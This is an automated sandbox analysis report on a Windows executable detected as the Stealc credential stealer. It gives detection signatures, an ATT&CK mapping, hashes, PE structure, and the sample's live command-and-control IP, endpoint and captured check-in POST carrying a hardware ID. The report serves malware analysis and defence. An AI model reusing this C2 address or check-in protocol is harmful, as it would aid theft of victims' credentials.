                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE9AA0 mov eax, dword ptr fs:[00000030h]0_2_00CE9AA0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE7690 GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,RtlAllocateHeap,wsprintfA,0_2_00CE7690
                Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
                Source: C:\Users\user\Desktop\file.exeMemory protected: page guardJump to behavior

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Yara detected Powershell download and execute
                Source: Yara matchFile source: Process Memory Space: file.exe PID: 5952, type: MEMORYSTR
                Searches for specific processes (likely to inject)
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE9790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,0_2_00CE9790
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE98E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,0_2_00CE98E0
                Source: file.exe, file.exe, 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: QProgram Manager
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D17588 cpuid 0_2_00D17588
                Source: C:\Users\user\Desktop\file.exeCode function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,0_2_00CE7D20
                Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE6BC0 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,0_2_00CE6BC0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE79E0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,0_2_00CE79E0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE7BC0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,0_2_00CE7BC0

                Stealing of Sensitive Information

                barindex
                Yara detected Stealc
                Source: Yara matchFile source: 0.2.file.exe.cd0000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000003.2037496917.0000000005190000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: file.exe PID: 5952, type: MEMORYSTR
                Source: Yara matchFile source: decrypted.memstr, type: MEMORYSTR
                Source: Yara matchFile source: dump.pcap, type: PCAP

                Remote Access Functionality

                barindex
                Yara detected Stealc
                Source: Yara matchFile source: 0.2.file.exe.cd0000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000003.2037496917.0000000005190000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: file.exe PID: 5952, type: MEMORYSTR
                Source: Yara matchFile source: decrypted.memstr, type: MEMORYSTR
                Source: Yara matchFile source: dump.pcap, type: PCAP

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
                Command and Scripting Interpreter                		1
                DLL Side-Loading                		11
                Process Injection                		1
                Masquerading                		OS Credential Dumping2
                System Time Discovery                		Remote Services1
                Archive Collected Data                		2
                Encrypted Channel                		Exfiltration Over Other Network MediumAbuse Accessibility Features
                CredentialsDomainsDefault Accounts12
                Native API                		Boot or Logon Initialization Scripts1
                DLL Side-Loading                		33
                Virtualization/Sandbox Evasion                		LSASS Memory641
                Security Software Discovery                		Remote Desktop ProtocolData from Removable Media2
                Ingress Tool Transfer                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)11
                Disable or Modify Tools                		Security Account Manager33
                Virtualization/Sandbox Evasion                		SMB/Windows Admin SharesData from Network Shared Drive2
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
                Process Injection                		NTDS13
                Process Discovery                		Distributed Component Object ModelInput Capture12
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                Deobfuscate/Decode Files or Information                		LSA Secrets1
                Account Discovery                		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts3
                Obfuscated Files or Information                		Cached Domain Credentials1
                System Owner/User Discovery                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items12
                Software Packing                		DCSync1
                File and Directory Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                DLL Side-Loading                		Proc Filesystem334
                System Information Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                file.exe100%AviraTR/Crypt.TPM.Gen
                file.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                https://docs.rs/getrandom#nodejs-es-module-support0%URL Reputationsafe

                Domains and IPs

                Contacted Domains

                ⊘No contacted domains info

                Contacted URLs

                NameMaliciousAntivirus DetectionReputation
                http://185.215.113.206/6c4adf523b719729.phptrue
                  		unknown
                  http://185.215.113.206/true
                    		unknown

                    URLs from Memory and Binaries

                    NameSourceMaliciousAntivirus DetectionReputation
                    http://185.215.113.206/405117-2476756634-1003gefile.exe, 00000000.00000002.2091636092.00000000015C2000.00000004.00000020.00020000.00000000.sdmpfalse
                      		unknown
                      http://185.215.113.206/6c4adf523b719729.php/file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmpfalse
                        		unknown
                        http://185.215.113.206/d?file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmpfalse
                          		unknown
                          http://185.215.113.206file.exe, 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmptrue
                            		unknown
                            http://185.215.113.206/6c4adf523b719729.phpeCfile.exe, 00000000.00000002.2091636092.00000000015D8000.00000004.00000020.00020000.00000000.sdmpfalse
                              		unknown
                              http://185.215.113.206/6c4adf523b719729.phpACfile.exe, 00000000.00000002.2091636092.00000000015D8000.00000004.00000020.00020000.00000000.sdmpfalse
                                		unknown
                                http://185.215.113.206/$file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		unknown
                                  https://docs.rs/getrandom#nodejs-es-module-supportfile.exe, file.exe, 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2037496917.00000000051BB000.00000004.00001000.00020000.00000000.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown

                                  World Map of Contacted IPs

                                  • No. of IPs < 25%
                                  • 25% < No. of IPs < 50%
                                  • 50% < No. of IPs < 75%
                                  • 75% < No. of IPs

                                  Public IPs

                                  IPDomainCountryFlagASNASN NameMalicious
                                  185.215.113.206
                                  		unknownPortugal
                                  		206894WHOLESALECONNECTIONSNLtrue

                                  General Information

                                  Joe Sandbox version:41.0.0 Charoite
                                  Analysis ID:1545915
                                  Start date and time:2024-10-31 10:14:08 +01:00
                                  Joe Sandbox product:CloudBasic
                                  Overall analysis duration:0h 3m 13s
                                  Hypervisor based Inspection enabled:false
                                  Report type:full
                                  Cookbook file name:default.jbs
                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                  Number of analysed new started processes analysed:2
                                  Number of new started drivers analysed:0
                                  Number of existing processes analysed:0
                                  Number of existing drivers analysed:0
                                  Number of injected processes analysed:0
                                  Technologies:
                                  • HCA enabled
                                  • EGA enabled
                                  • AMSI enabled
                                  Analysis Mode:default
                                  Analysis stop reason:Timeout
                                  Sample name:file.exe
                                  Detection:MAL
                                  Classification:mal100.troj.evad.winEXE@1/0@0/1
                                  EGA Information:
                                  • Successful, ratio: 100%
                                  HCA Information:
                                  • Successful, ratio: 80%
                                  • Number of executed functions: 19
                                  • Number of non-executed functions: 130
                                  Cookbook Comments:
                                  • Found application associated with file extension: .exe
                                  • Stop behavior analysis, all processes terminated

                                  Warnings

                                  • Exclude process from analysis (whitelisted): dllhost.exe
                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                  • VT rate limit hit for: file.exe

                                  Simulations

                                  Behavior and APIs

                                  ⊘No simulations

                                  Joe Sandbox View / Context

                                  IPs

                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                  185.215.113.206file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWormBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousStealc, VidarBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousStealcBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousStealc, VidarBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousStealcBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousPureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake StealerBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousStealcBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                  • 185.215.113.206/6c4adf523b719729.php

                                  Domains

                                  ⊘No context

                                  ASNs

                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                  WHOLESALECONNECTIONSNLfile.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWormBrowse
                                  • 185.215.113.206
                                  file.exeGet hashmaliciousStealc, VidarBrowse
                                  • 185.215.113.206
                                  file.exeGet hashmaliciousStealcBrowse
                                  • 185.215.113.206
                                  file.exeGet hashmaliciousStealc, VidarBrowse
                                  • 185.215.113.206
                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                  • 185.215.113.16
                                  file.exeGet hashmaliciousStealcBrowse
                                  • 185.215.113.206
                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                  • 185.215.113.16
                                  file.exeGet hashmaliciousPureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake StealerBrowse
                                  • 185.215.113.206
                                  file.exeGet hashmaliciousStealcBrowse
                                  • 185.215.113.206
                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                  • 185.215.113.206

                                  JA3 Fingerprints

                                  ⊘No context

                                  Dropped Files

                                  ⊘No context

                                  Created / dropped Files

                                  ⊘No created / dropped files found

                                  Static File Info

                                  General

                                  File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                  Entropy (8bit):7.960375228766626
                                  TrID:
                                  • Win32 Executable (generic) a (10002005/4) 99.96%
                                  • Generic Win/DOS Executable (2004/3) 0.02%
                                  • DOS Executable Generic (2002/1) 0.02%
                                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                  File name:file.exe
                                  File size:2'123'776 bytes
                                  MD5:6b2b5a158403acb7ba15c52a59282cab
                                  SHA1:dae583617b2057015ff1c7ada6d9bf6c0e262481
                                  SHA256:f7bbc837510990dd6831eb9ab92b7fe5d9238f105ea9690bdf5808dc0e5cfbbf
                                  SHA512:fffe76065d3cb74adbd293dbdb3d7d8fc1d5e71a9c9fc220e60e1fc4b30aae38143688b672e03135dd2ba6b2957ebf9ada09c90a5848fdba19b6fcd7f51c8f49
                                  SSDEEP:49152:NU05Qc6VelxdRoEb5lzQwkxua1vIPcWDs1oMkbMCc0N3:tUsxTzzQVJT+sXkbv9N
                                  TLSH:2BA533D3FD6075FDFA6E4E3E71949712AE56A9A81048F025BB4E9CBF844354389083E3
                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

                                  File Icon

                                  Icon Hash:00928e8e8686b000

                                  Static PE Info

                                  General

                                  Entrypoint:0xb24000
                                  Entrypoint Section:.taggant
                                  Digitally signed:false
                                  Imagebase:0x400000
                                  Subsystem:windows gui
                                  Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                  DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                  Time Stamp:0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
                                  TLS Callbacks:
                                  CLR (.Net) Version:
                                  OS Version Major:5
                                  OS Version Minor:1
                                  File Version Major:5
                                  File Version Minor:1
                                  Subsystem Version Major:5
                                  Subsystem Version Minor:1
                                  Import Hash:2eabe9054cad5152567f0699947a2c5b

                                  Entrypoint Preview

                                  Instruction
                                  jmp 00007FBF091C46FAh
                                  cmovbe esp, dword ptr [eax]
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add cl, ch
                                  add byte ptr [eax], ah
                                  add byte ptr [eax], al
                                  add byte ptr [edx+ecx], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  xor byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add al, 0Ah
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add dword ptr [eax+00000000h], eax
                                  add byte ptr [eax], al
                                  adc byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add cl, byte ptr [edx]
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al

                                  Rich Headers

                                  Programming Language:
                                  • [C++] VS2010 build 30319
                                  • [ASM] VS2010 build 30319
                                  • [ C ] VS2010 build 30319
                                  • [ C ] VS2008 SP1 build 30729
                                  • [IMP] VS2008 SP1 build 30729
                                  • [LNK] VS2010 build 30319

                                  Data Directories

                                  NameVirtual AddressVirtual Size Is in Section
                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x2e90500x64.idata
                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x00x0
                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x2e91f80x8.idata
                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                  Sections

                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                  0x10000x2e70000x67600dc7ad9f42f116b6f2bc8180deabe2ef8unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  .rsrc 0x2e80000x10000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  .idata 0x2e90000x10000x200049071433b9f7c843453337b0fd53002False0.1328125data0.8946074494647072IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  0x2ea0000x29d0000x200811d44b77f35e5a33f353de9bdfa7d55unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  nrgnjalz0x5870000x19c0000x19b800fbc237ed7251ff89378b802ae91da1f9False0.9948620709295262data7.95429774987272IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  wpavutyr0x7230000x10000x400e41c6116c5b37e14b8fd15b3bc561e93False0.7373046875data5.934453510243722IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  .taggant0x7240000x30000x2200a978644d070edaef5c6659ed5090b540False0.058363970588235295DOS executable (COM)0.6022537531291793IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                                  Imports

                                  DLLImport
                                  kernel32.dlllstrcpy

                                  Network Behavior

                                  Suricata IDS Alerts

                                  TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                  2024-10-31T10:15:02.495046+01002044243ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in1192.168.2.549704185.215.113.20680TCP

                                  Network Port Distribution

                                  TCP Packets

                                  TimestampSource PortDest PortSource IPDest IP
                                  Oct 31, 2024 10:15:01.277966022 CET4970480192.168.2.5185.215.113.206
                                  Oct 31, 2024 10:15:01.283076048 CET8049704185.215.113.206192.168.2.5
                                  Oct 31, 2024 10:15:01.283169031 CET4970480192.168.2.5185.215.113.206
                                  Oct 31, 2024 10:15:01.283346891 CET4970480192.168.2.5185.215.113.206
                                  Oct 31, 2024 10:15:01.288217068 CET8049704185.215.113.206192.168.2.5
                                  Oct 31, 2024 10:15:02.190222025 CET8049704185.215.113.206192.168.2.5
                                  Oct 31, 2024 10:15:02.190279007 CET4970480192.168.2.5185.215.113.206
                                  Oct 31, 2024 10:15:02.209681988 CET4970480192.168.2.5185.215.113.206
                                  Oct 31, 2024 10:15:02.214565039 CET8049704185.215.113.206192.168.2.5
                                  Oct 31, 2024 10:15:02.494920969 CET8049704185.215.113.206192.168.2.5
                                  Oct 31, 2024 10:15:02.495045900 CET4970480192.168.2.5185.215.113.206
                                  Oct 31, 2024 10:15:05.830221891 CET4970480192.168.2.5185.215.113.206

                                  HTTP Request Dependency Graph

                                  • 185.215.113.206

                                  HTTP Packets

                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                  0192.168.2.549704185.215.113.206805952C:\Users\user\Desktop\file.exe
                                  TimestampBytes transferredDirectionData
                                  Oct 31, 2024 10:15:01.283346891 CET90OUTGET / HTTP/1.1
                                  Host: 185.215.113.206
                                  Connection: Keep-Alive
                                  Cache-Control: no-cache
                                  Oct 31, 2024 10:15:02.190222025 CET203INHTTP/1.1 200 OK
                                  Date: Thu, 31 Oct 2024 09:15:02 GMT
                                  Server: Apache/2.4.41 (Ubuntu)
                                  Content-Length: 0
                                  Keep-Alive: timeout=5, max=100
                                  Connection: Keep-Alive
                                  Content-Type: text/html; charset=UTF-8
                                  Oct 31, 2024 10:15:02.209681988 CET413OUTPOST /6c4adf523b719729.php HTTP/1.1
                                  Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJ
                                  Host: 185.215.113.206
                                  Content-Length: 211
                                  Connection: Keep-Alive
                                  Cache-Control: no-cache
                                  Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 32 38 46 36 46 35 32 36 33 36 33 38 34 38 34 36 38 37 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 2d 2d 0d 0a
                                  Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="hwid"A428F6F526363848468766------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="build"tale------JKKEHJDHJKFIECAAKFIJ--
                                  Oct 31, 2024 10:15:02.494920969 CET210INHTTP/1.1 200 OK
                                  Date: Thu, 31 Oct 2024 09:15:02 GMT
                                  Server: Apache/2.4.41 (Ubuntu)
                                  Content-Length: 8
                                  Keep-Alive: timeout=5, max=99
                                  Connection: Keep-Alive
                                  Content-Type: text/html; charset=UTF-8
                                  Data Raw: 59 6d 78 76 59 32 73 3d
                                  Data Ascii: YmxvY2s=


                                  Statistics

                                  CPU Usage

                                  Click to jump to process

                                  Memory Usage

                                  Click to jump to process

                                  High Level Behavior Distribution

                                  Click to dive into process behavior distribution

                                  System Behavior

                                  General

                                  Target ID:0
                                  Start time:05:14:56
                                  Start date:31/10/2024
                                  Path:C:\Users\user\Desktop\file.exe
                                  Wow64 process (32bit):true
                                  Commandline:"C:\Users\user\Desktop\file.exe"
                                  Imagebase:0xcd0000
                                  File size:2'123'776 bytes
                                  MD5 hash:6B2B5A158403ACB7BA15C52A59282CAB
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:C, C++ or other language
                                  Yara matches:
                                  • Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2037496917.0000000005190000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  Reputation:low
                                  Has exited:true

                                  Disassembly

                                  Reset < >

                                    Execution Graph

                                    Execution Coverage:3%
                                    Dynamic/Decrypted Code Coverage:0%
                                    Signature Coverage:3.5%
                                    Total number of Nodes:1327
                                    Total number of Limit Nodes:24
                                    execution_graph 37813 ce6c90 37858 cd22a0 37813->37858 37837 ce6d04 37838 ceacc0 4 API calls 37837->37838 37839 ce6d0b 37838->37839 37840 ceacc0 4 API calls 37839->37840 37841 ce6d12 37840->37841 37842 ceacc0 4 API calls 37841->37842 37843 ce6d19 37842->37843 37844 ceacc0 4 API calls 37843->37844 37845 ce6d20 37844->37845 38010 ceabb0 37845->38010 37847 ce6dac 38014 ce6bc0 GetSystemTime 37847->38014 37849 ce6d29 37849->37847 37851 ce6d62 OpenEventA 37849->37851 37853 ce6d79 37851->37853 37854 ce6d95 CloseHandle Sleep 37851->37854 37857 ce6d81 CreateEventA 37853->37857 37855 ce6daa 37854->37855 37855->37849 37856 ce6db6 CloseHandle ExitProcess 37857->37847 38211 cd4610 37858->38211 37860 cd22b4 37861 cd4610 2 API calls 37860->37861 37862 cd22cd 37861->37862 37863 cd4610 2 API calls 37862->37863 37864 cd22e6 37863->37864 37865 cd4610 2 API calls 37864->37865 37866 cd22ff 37865->37866 37867 cd4610 2 API calls 37866->37867 37868 cd2318 37867->37868 37869 cd4610 2 API calls 37868->37869 37870 cd2331 37869->37870 37871 cd4610 2 API calls 37870->37871 37872 cd234a 37871->37872 37873 cd4610 2 API calls 37872->37873 37874 cd2363 37873->37874 37875 cd4610 2 API calls 37874->37875 37876 cd237c 37875->37876 37877 cd4610 2 API calls 37876->37877 37878 cd2395 37877->37878 37879 cd4610 2 API calls 37878->37879 37880 cd23ae 37879->37880 37881 cd4610 2 API calls 37880->37881 37882 cd23c7 37881->37882 37883 cd4610 2 API calls 37882->37883 37884 cd23e0 37883->37884 37885 cd4610 2 API calls 37884->37885 37886 cd23f9 37885->37886 37887 cd4610 2 API calls 37886->37887 37888 cd2412 37887->37888 37889 cd4610 2 API calls 37888->37889 37890 cd242b 37889->37890 37891 cd4610 2 API calls 37890->37891 37892 cd2444 37891->37892 37893 cd4610 2 API calls 37892->37893 37894 cd245d 37893->37894 37895 cd4610 2 API calls 37894->37895 37896 cd2476 37895->37896 37897 cd4610 2 API calls 37896->37897 37898 cd248f 37897->37898 37899 cd4610 2 API calls 37898->37899 37900 cd24a8 37899->37900 37901 cd4610 2 API calls 37900->37901 37902 cd24c1 37901->37902 37903 cd4610 2 API calls 37902->37903 37904 cd24da 37903->37904 37905 cd4610 2 API calls 37904->37905 37906 cd24f3 37905->37906 37907 cd4610 2 API calls 37906->37907 37908 cd250c 37907->37908 37909 cd4610 2 API calls 37908->37909 37910 cd2525 37909->37910 37911 cd4610 2 API calls 37910->37911 37912 cd253e 37911->37912 37913 cd4610 2 API calls 37912->37913 37914 cd2557 37913->37914 37915 cd4610 2 API calls 37914->37915 37916 